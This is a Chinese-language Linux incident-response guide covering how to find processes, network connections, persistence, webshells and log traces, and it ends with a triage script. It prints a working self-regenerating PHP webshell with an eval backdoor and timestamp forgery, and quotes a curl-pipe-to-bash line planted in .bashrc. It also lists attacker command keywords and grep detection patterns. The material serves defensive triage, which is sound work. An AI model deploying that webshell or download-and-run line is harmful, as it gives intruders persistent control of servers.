1. 应急响应场景下的Linux入侵排查整体思路1.1 为什么Linux排查不能靠“感觉”干应急响应这行的人都有一个共识Linux被入侵之后最怕的不是病毒本身而是“不知道它藏在哪里”。Windows有注册表、有启动项、有任务计划图形化工具一抓一大把但Linux不一样一切皆文件一切皆进程攻击者留下的痕迹可能藏在/tmp下一个不起眼的点文件里也可能伪装成一个正常的系统进程名甚至直接改写ps、netstat这些你赖以排查的命令本身。我处理过不少类似场景很多新手第一反应是上去就top、ps aux看一眼发现没有异常进程就下结论“机器没问题”。这种判断方式极其危险。Linux下的恶意程序完全可以做到进程隐藏、端口隐藏、文件隐藏你看到的“干净”很可能只是攻击者想让你看到的假象。所以应急响应的核心思路不是“找病毒”而是建立基线、发现异常、交叉验证。你得先知道一台正常的机器长什么样才能判断当前这台机器哪里不对劲。这个思路贯穿整个排查过程后面所有的命令和技巧都是为这个思路服务的。1.2 排查的四个核心维度根据我自己的实战经验Linux入侵排查可以归纳为四个维度缺一不可进程维度当前运行了什么有没有可疑的父子进程关系有没有进程占用了异常端口网络维度对外连接了哪些IP监听了哪些端口有没有反弹shell的痕迹持久化维度攻击者如何维持权限包括定时任务、启动项、服务、SSH密钥等文件维度最近被修改的文件、隐藏文件、SUID提权文件、Web目录下的异常脚本这四个维度不是孤立的而是互相印证的。比如你在进程里发现一个可疑的/tmp/.x进程那就要去文件维度确认这个文件的存在时间和内容再去网络维度看它连接了哪里最后去持久化维度找它是怎么被启动的。只有四个维度都串起来才能形成完整的证据链。1.3 排查前的自我保护措施在动手之前有几件事必须先做否则你的排查动作本身就可能破坏证据甚至打草惊蛇。第一如果条件允许先对磁盘做快照或镜像。虚拟机直接打快照物理机可以用dd对关键分区做备份。这一步很多人会忽略觉得浪费时间但一旦你误删了文件或者攻击者设置了“不死马”在你排查时自动恢复没有备份你就彻底失去了回溯的能力。第二保留现场的命令输出。所有排查命令的执行结果建议用script命令记录整个会话或者手动重定向到文件。我习惯用script -a /tmp/ir_$(date %Y%m%d_%H%M%S).log这样你敲的每一条命令和输出都会被记录下来后续写报告或者复盘的时候直接翻日志就行。第三不要直接杀掉可疑进程。很多人一看到可疑进程就kill -9这是大忌。正确的做法是先记录PID、可执行文件路径、父进程ID、网络连接然后再决定是否终止。有些恶意程序被杀之后会触发守护进程重新拉起甚至执行破坏性操作。注意如果业务允许排查期间尽量断开外网连接或者限制出站流量防止攻击者远程操控或者数据外传。但断网之前要确认不会影响业务这个度需要根据实际情况把握。2. 进程与网络层面的深度排查2.1 用ps和top发现异常进程ps aux和top是最基础的工具但也是最容易被欺骗的。很多rootkit会hook系统调用让你看不到真实的进程列表。所以我的习惯是用多个工具交叉验证。先跑一遍常规命令ps aux --sort-%cpu | head -20 ps aux --sort-%mem | head -20重点看几个东西CPU或内存占用异常高的进程、用户名是nobody或www-data但命令很奇怪的进程、路径在/tmp、/dev/shm、/var/tmp下的进程。这几个目录是攻击者最喜欢放东西的地方因为通常可写且不容易引起注意。然后对比/proc目录下的实际进程ls -al /proc/ | grep -E ^d.*[0-9]/proc下每个数字目录就是一个进程把这个列表和ps的输出对比如果数量对不上那基本可以确定有进程隐藏。我遇到过好几次ps显示正常但/proc里多出几个进程的情况后来查出来是用了LD_PRELOAD劫持。还有一个技巧是看进程的父子关系ps -ef --forest正常的系统进程树是有规律的systemd或init是根下面分出各种服务。如果你看到一个bash或sh的父进程是apache或nginx那就要高度警惕了这很可能是Web漏洞利用后反弹的shell。2.2 检查网络连接与监听端口网络层面我通常用ss而不是netstat因为ss更快更准确而且netstat在一些新系统上已经默认不安装了。ss -tunlp ss -tnp state established重点看两类LISTEN状态的异常端口和ESTABLISHED状态的外连IP。LISTEN端口方面除了你已知的服务端口比如22、80、443、3306等其他一律要查。我见过攻击者把后门监听在12345、31337这种经典端口上也见过伪装成8080、8000这种常见Web端口的。关键不是端口号本身而是这个端口对应的进程你是否认识。ESTABLISHED连接方面重点看有没有连接到境外IP或者非常规端口的。可以用whois查一下IP归属但更快的办法是直接看进程ss -tnp | grep ESTAB如果发现某个bash或sh进程有外连那基本就是反弹shell没跑了。正常的服务进程外连是有明确目标的比如数据库连接、API调用但shell进程外连只有一个解释有人在远程操控。2.3 利用lsof做进程与文件的关联分析lsof是我个人最喜欢用的排查工具之一它能列出进程打开的所有文件、网络连接、管道等。当你发现一个可疑PID时直接lsof -p PID输出里重点看REG类型的文件可执行文件、配置文件、IPv4类型的网络连接、DEL类型的已删除文件。DEL类型特别值得注意因为有些恶意程序会把自己删掉但保持文件句柄这样磁盘上找不到文件但进程还在运行。还有一个经典场景Web目录下有个可疑的PHP文件但你不确定它有没有被访问。可以lsof | grep /var/www/html看看有没有进程正在读写这个文件如果有apache或php-fpm的进程打开了它那说明这个文件正在被使用。2.4 进程排查速查表检查项命令异常特征高CPU进程ps aux --sort-%cpu未知进程占用大量CPU高内存进程ps aux --sort-%mem未知进程占用大量内存进程树ps -ef --forestWeb服务进程下挂shell隐藏进程对比ps与/proc数量不一致监听端口ss -tunlp未知端口监听外连连接ss -tnp state establishedshell进程外连进程打开文件lsof -p PID可执行文件在tmp目录已删除文件lsofgrep DEL3. 持久化机制与文件层面的排查3.1 定时任务攻击者最爱的藏身之处Linux的定时任务cron是攻击者维持权限的首选因为配置简单、权限要求低、执行稳定。排查的时候不能只看当前用户的crontab要把所有位置都翻一遍crontab -l cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ ls -la /etc/cron.weekly/ ls -la /etc/cron.monthly/ cat /var/spool/cron/crontabs/*我踩过的一个坑是只看了crontab -l发现没问题就跳过了结果后来在/etc/cron.d/下发现一个名字叫sysupdate的文件内容是从远程下载脚本并执行。这个目录下的文件格式和/etc/crontab一样需要指定用户很容易被忽略。还有一个更隐蔽的攻击者会修改/var/spool/cron/crontabs/root这个文件直接对应root用户的crontab但如果你只用crontab -l以当前用户身份是看不到的必须用root权限去看。提示排查cron的时候重点关注那些执行curl、wget、bash -i、nc、python -c的命令这些几乎100%是恶意的。正常的定时任务一般是备份脚本、日志轮转、监控检查之类的。3.2 启动项与服务开机自启的隐藏后门Linux的启动项比Windows复杂得多因为不同的发行版、不同的init系统SysVinit、Upstart、systemd机制都不一样。但排查思路是一样的找所有开机自动执行的地方。对于systemd系统现在绝大多数发行版都是systemctl list-units --typeservice --staterunning systemctl list-unit-files --typeservice | grep enabled ls -la /etc/systemd/system/ ls -la /usr/lib/systemd/system/重点看那些名字奇怪的服务比如systemd-helper、network-check、dbus-daemon-helper这种模仿系统服务命名的。我见过一个恶意服务叫systemd-networkd-helper乍一看以为是系统自带的实际上是个挖矿程序。对于传统的SysVinitls -la /etc/init.d/ ls -la /etc/rc*.d/ cat /etc/rc.local/etc/rc.local是经典的自启动位置很多攻击者会直接往里面加一行。正常的rc.local最后应该是exit 0如果exit 0后面还有内容那就要仔细看了。还有几个容易被忽略的地方cat /etc/profile cat /etc/bash.bashrc cat ~/.bashrc cat ~/.bash_profile cat ~/.profile这些文件在用户登录时会执行攻击者可以在里面加一行反向shell或者下载命令。我遇到过在~/.bashrc末尾加了一行curl http://xxx/xxx.sh | bash的每次root登录都会触发。3.3 SSH后门与密钥排查SSH是Linux服务器最常用的远程管理方式也是攻击者重点关照的对象。排查SSH相关后门主要看几个地方cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys ls -la ~/.ssh/authorized_keys里如果有你不认识的公钥那说明攻击者已经配置了免密登录。这个公钥对应的私钥在攻击者手里他随时可以连回来。还要检查SSH配置有没有被改cat /etc/ssh/sshd_config | grep -v ^# | grep -v ^$重点关注PermitRootLogin、PasswordAuthentication、Port这几个参数。如果PermitRootLogin被改成了yes或者Port被改成了非标准端口那可能是攻击者为了方便自己访问而修改的。还有一个高级后门攻击者会替换sshd二进制文件或者添加一个PAM模块这样即使你改了密码、删了密钥他依然能登录。排查方法是rpm -Va openssh-server # CentOS/RHEL dpkg -V openssh-server # Debian/Ubuntu如果输出里有文件校验失败那说明二进制被篡改了。3.4 文件层面的异常发现文件排查的核心是找最近被修改的文件和找隐藏文件。找最近修改find / -type f -mtime -7 -not -path /proc/* -not -path /sys/* 2/dev/null find / -type f -mmin -60 -not -path /proc/* -not -path /sys/* 2/dev/null-mtime -7是7天内修改的-mmin -60是60分钟内修改的。根据入侵时间窗口调整参数如果知道大概什么时候被入侵的就缩小范围。找隐藏文件find / -name .* -type f -not -path /proc/* -not -path /sys/* 2/dev/null ls -la /tmp/ /var/tmp/ /dev/shm//tmp、/var/tmp、/dev/shm这三个目录是重点因为通常所有用户都可写而且/dev/shm是基于内存的重启就没了攻击者很喜欢把恶意程序放这里。找SUID文件find / -perm -4000 -type f 2/dev/nullSUID文件是以文件所有者权限执行的如果攻击者能找到一个可写的SUID文件或者自己创建一个就能用来提权。正常的SUID文件是有限的比如/usr/bin/passwd、/usr/bin/sudo、/bin/mount等如果发现其他SUID文件尤其是你自己没见过的那就要查。3.5 文件排查速查表检查项命令异常特征用户crontabcrontab -l未知定时任务系统crontabcat /etc/crontab下载执行命令cron目录ls /etc/cron.d/未知文件systemd服务systemctl list-unit-files仿冒系统服务rc.localcat /etc/rc.localexit 0后有内容bashrccat ~/.bashrc末尾有curl/wgetSSH密钥cat ~/.ssh/authorized_keys未知公钥最近修改文件find / -mtime -7tmp目录下可执行文件隐藏文件find / -name .*tmp目录下点文件SUID文件find / -perm -4000非标准SUID文件4. 不死马与Webshell的专项排查4.1 什么是不死马为什么它难缠“不死马”是应急响应里最让人头疼的东西之一。它的原理其实不复杂一个PHP文件被访问之后会生成一个新的PHP文件或者修改自身然后删除自己但通过ignore_user_abort和set_time_limit让进程在后台持续运行不断重新生成。你删了它它马上又回来就像打不死的小强。典型的PHP不死马代码长这样?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file .config.php; $code ?php if(md5($_GET[pass])xxx){eval($_POST[cmd]);} ?; while(1){ file_put_contents($file, $code); system(touch -m -d 2020-01-01 00:00:00 .config.php); usleep(5000); } ?这段代码的逻辑是忽略客户端断开、设置无限执行时间、删除自身、然后进入死循环每5秒生成一个.config.php文件并且把文件时间改成2020年让你用find -mtime找不到。4.2 发现不死马的实战方法不死马虽然狡猾但也不是无迹可寻。我总结了几种有效的发现方法方法一看异常进程不死马本质上是一个PHP进程在后台跑所以ps aux | grep php通常能看到。但问题是正常的PHP-FPM也会有很多进程怎么区分看不死马的进程通常CPU占用不高但一直存在而且它的父进程可能是php-fpm但命令行参数和正常的不一样。ps aux | grep -E php|apache|nginx | grep -v grep方法二看文件生成时间不死马生成的文件时间通常被篡改过但文件系统的inode变化时间ctime是改不了的。用ls -la --timectime /var/www/html/ stat /var/www/html/.config.php如果ctime是最近但mtime是几年前那基本可以确定是篡改过时间的。方法三监控文件变化用inotifywait监控Web目录inotifywait -m -r /var/www/html/ -e create,modify,delete不死马每几秒就生成一次文件监控一会儿就能看到是哪个进程在写。方法四找隐藏文件不死马生成的文件通常以.开头用find /var/www/html/ -name .* -type f4.3 清除不死马的正确姿势发现不死马之后直接rm是没用的因为它还在后台跑着删了马上重新生成。正确的清除步骤是先找到并杀掉进程。用ps aux | grep php找到可疑PID然后kill -9。如果杀不掉可能是权限不够用root。确认进程真的死了。再跑一次ps aux | grep php确认没有残留。删除生成的文件。这时候删就不会再重新生成了。检查有没有其他不死马。攻击者可能放了多个互相守护。检查所有Web目录、所有用户目录。修复漏洞。不死马是通过Web漏洞上传的通常是文件上传漏洞或者代码执行漏洞。找到漏洞点并修复否则清除了还会被重新上传。注意有些高级不死马会通过crontab或者systemd来守护杀掉进程后过一会儿又被拉起来。所以清除之前一定要先排查持久化机制把cron和service里的恶意项先清掉。4.4 Webshell排查的实用技巧除了不死马普通的Webshell也要排查。Webshell通常藏在Web目录下文件名可能很隐蔽比如image.php、1.php、wp-config.php.bak之类的。排查方法find /var/www/ -name *.php -mtime -30 grep -r eval\|assert\|system\|exec\|passthru\|shell_exec /var/www/ --include*.php -l第一个命令找最近30天修改的PHP文件第二个命令找包含危险函数的PHP文件。但要注意正常的PHP程序也可能包含这些函数所以需要人工确认。我常用的一个技巧是看文件大小和内容特征。Webshell通常很小几KB内容里会有明显的特征比如$_POST、$_GET、base64_decode、gzinflate等。可以用find /var/www/ -name *.php -size -10k | xargs grep -l eval\|base64_decode4.5 Webshell排查速查表检查项命令异常特征PHP进程ps auxgrep php隐藏文件find /var/www -name .*点开头的PHP文件最近修改find /var/www -mtime -7最近被改的PHP危险函数grep -r eval /var/www包含eval的文件文件监控inotifywait -m /var/www频繁创建文件ctime检查stat 文件ctime与mtime不符进程守护crontab -l定时拉起脚本5. 日志分析与溯源取证5.1 系统日志的快速筛查Linux的系统日志是溯源的关键但日志往往很多需要有针对性地看。主要看这几个# 登录日志 last -50 lastb -50 cat /var/log/secure | grep -E Accepted|Failed | tail -50 # 系统日志 tail -100 /var/log/messages tail -100 /var/log/syslog # 命令历史 cat ~/.bash_history cat /root/.bash_historylast看成功登录lastb看失败登录。如果lastb里有大量来自同一个IP的失败记录那说明有人在暴力破解。如果last里有你不认识的IP或者时间那说明攻击者已经登录成功了。~/.bash_history是攻击者执行过的命令但要注意攻击者可能会清空或者修改这个文件。如果发现history是空的或者只有几条那反而更可疑。可以用cat ~/.bash_history | wc -l正常的运维机器history通常有几百上千条如果只有几条那可能是被清过了。5.2 Web日志的入侵痕迹分析如果入侵是通过Web漏洞进来的那Web日志里一定有痕迹。以Nginx为例# 找异常请求 grep -E eval|assert|base64|cmd|shell /var/log/nginx/access.log # 找POST请求 grep POST /var/log/nginx/access.log | tail -100 # 找特定IP grep 192.168.1.100 /var/log/nginx/access.log重点看POST请求因为文件上传、命令执行通常都是POST。还要看User-Agent有些扫描器或者攻击工具的UA很特别比如sqlmap、nikto、masscan等。如果日志被删了可以看看有没有备份或者用lsof看有没有进程还持有日志文件的句柄lsof | grep access.log5.3 时间线梳理与证据固定排查到最后需要把所有发现串成一条时间线。我通常用表格来整理时间事件证据来源2024-01-01 10:00攻击者通过文件上传漏洞上传webshellNginx日志2024-01-01 10:05webshell被执行反弹shell进程记录2024-01-01 10:10攻击者创建cron持久化crontab文件2024-01-01 10:15下载挖矿程序并运行网络连接记录证据固定方面所有关键文件都要备份包括mkdir /tmp/evidence cp /var/www/html/shell.php /tmp/evidence/ cp /etc/crontab /tmp/evidence/ cp ~/.bash_history /tmp/evidence/ ss -tunlp /tmp/evidence/netstat.txt ps aux /tmp/evidence/ps.txt备份的时候最好计算哈希值md5sum /tmp/evidence/* /tmp/evidence/md5.txt5.4 日志分析速查表检查项命令异常特征成功登录last未知IP或时间失败登录lastb大量失败记录安全日志grep Accepted /var/log/secure异常登录命令历史cat ~/.bash_history空或异常命令Web访问日志grep POST /var/log/nginx/access.log异常POST请求日志文件句柄lsofgrep access.log6. 常见问题与实战避坑指南6.1 排查过程中容易犯的错误错误一上来就杀进程我见过太多人一发现可疑进程就kill -9结果攻击者设置的守护脚本马上把进程拉起来而且因为进程重启之前的网络连接、打开文件等证据全没了。正确的做法是先记录、再分析、最后才终止。错误二只看当前用户很多排查命令默认只对当前用户生效比如crontab -l只看当前用户的定时任务。如果你是用普通用户登录的那root的crontab你就看不到。所以排查一定要用root权限或者至少sudo。错误三忽略时间戳篡改攻击者可以用touch命令修改文件的访问时间和修改时间让你用find -mtime找不到。所以排查的时候不能只看mtime还要看ctimeinode变化时间ctime是改不了的。错误四只查Web目录虽然大部分入侵是通过Web进来的但恶意文件不一定只放在Web目录。/tmp、/dev/shm、/var/tmp、用户家目录都是常见位置。排查要全面。错误五不检查命令本身高级攻击者会替换ps、netstat、ls、find等常用命令让你看到的结果都是假的。排查之前可以先校验一下这些命令的完整性rpm -Va coreutils procps net-tools6.2 遇到排查命令被替换怎么办如果发现ps、netstat等命令被替换了不要慌。有几个办法可以绕过第一用busybox。很多系统都装了busybox它提供了一套独立的工具集busybox ps busybox netstat -tunlp busybox ls -la /tmp/第二直接从/proc文件系统读信息# 看进程 for pid in /proc/[0-9]*; do echo $pid: $(cat $pid/comm); done # 看网络连接 cat /proc/net/tcp cat /proc/net/udp第三用静态编译的工具。提前准备一个U盘里面放上静态编译的ps、netstat、lsof等工具排查的时候直接运行不依赖系统环境。6.3 如何判断是否被提权提权是入侵后的常见操作攻击者从普通用户提升到root权限才能做更多事情。判断是否被提权主要看# 看有没有异常的SUID文件 find / -perm -4000 -type f 2/dev/null # 看sudo配置 cat /etc/sudoers ls -la /etc/sudoers.d/ # 看有没有异常的用户 cat /etc/passwd cat /etc/shadow/etc/passwd里如果多了一个UID为0的用户那说明攻击者创建了一个root权限的后门账户。正常的系统只有root的UID是0如果发现其他UID为0的用户那100%是恶意的。6.4 实战避坑速查表问题原因解决方法杀了进程又起来有守护脚本先清cron和service看不到root的cron权限不够用root或sudofind找不到文件时间戳被改看ctimeps输出异常命令被替换用busybox或/proc日志被删攻击者清理用lsof找句柄提权后门创建了UID 0用户检查/etc/passwd命令校验失败二进制被篡改重装对应包7. 个人实战经验与后续加固建议7.1 我踩过的几个坑说几个我自己在实战中踩过的坑希望能帮你少走弯路。有一次排查一台被入侵的服务器ps aux看了没问题ss -tunlp看了也没问题crontab -l也干净我差点就下结论说机器没问题了。结果后来在/etc/systemd/system/下发现一个叫systemd-update.service的文件内容是从远程下载一个二进制并执行。这个服务被设置成了Restartalways所以即使你杀了进程systemd也会自动拉起来。这个坑让我明白systemd服务排查绝对不能跳过。还有一次遇到不死马我删了文件、杀了进程以为搞定了。结果过了几分钟文件又出现了。后来发现攻击者在/etc/cron.d/下放了一个定时任务每分钟执行一次curl下载不死马。所以清除不死马之前一定要先把所有持久化机制清干净否则就是白费功夫。最后一个坑是关于日志的。有一次排查的时候发现/var/log/secure是空的我以为是攻击者删了。后来用lsof | grep secure发现rsyslogd还持有这个文件的句柄说明文件被删了但进程还在写。这种情况下可以通过/proc/PID/fd/恢复文件cp /proc/$(pidof rsyslogd)/fd/3 /tmp/secure_recovered7.2 排查后的加固建议排查完、清除完恶意程序之后如果不做加固过不了多久还会被重新入侵。根据我的经验加固主要从这几个方面入手第一修补漏洞。找到入侵的入口点是Web漏洞就修Web漏洞是弱密码就改密码是未授权访问就加认证。不修漏洞一切加固都是徒劳。第二最小化权限。Web服务用独立的低权限用户运行数据库不要用rootSSH禁止root直接登录能不用密码就不用密码改用密钥认证。第三加强监控。部署文件完整性监控比如aide、tripwire监控关键目录的变化。配置日志集中收集即使本机日志被删远程还有备份。第四定期排查。不要等被入侵了才排查平时就定期跑一遍排查命令建立基线。这样一旦有异常你能第一时间发现。7.3 一个实用的排查脚本框架最后分享一个我自己常用的排查脚本框架把常用命令串起来一键输出排查报告#!/bin/bash # Linux应急响应快速排查脚本 # 输出到 /tmp/ir_report_$(date %Y%m%d_%H%M%S).txt REPORT/tmp/ir_report_$(date %Y%m%d_%H%M%S).txt exec (tee -a $REPORT) 21 echo 系统信息 uname -a cat /etc/os-release echo 进程列表 ps aux --sort-%cpu | head -30 echo 网络连接 ss -tunlp ss -tnp state established echo 定时任务 crontab -l 2/dev/null cat /etc/crontab ls -la /etc/cron.d/ echo 启动项 systemctl list-unit-files --typeservice | grep enabled cat /etc/rc.local 2/dev/null echo SSH密钥 cat ~/.ssh/authorized_keys 2/dev/null echo 最近修改文件 find / -type f -mtime -7 -not -path /proc/* -not -path /sys/* 2/dev/null | head -50 echo 隐藏文件 find /tmp /var/tmp /dev/shm -name .* -type f 2/dev/null echo SUID文件 find / -perm -4000 -type f 2/dev/null echo 登录记录 last -20 lastb -20 echo 排查完成报告保存在 $REPORT 这个脚本不是万能的但它能帮你快速覆盖大部分排查点。实际使用的时候根据具体情况调整参数和范围。排查这件事工具和命令只是辅助核心还是对系统的理解和对异常的敏感度。你越了解一台正常的Linux服务器应该是什么样就越容易发现不对劲的地方。多练、多看、多总结慢慢就有感觉了。
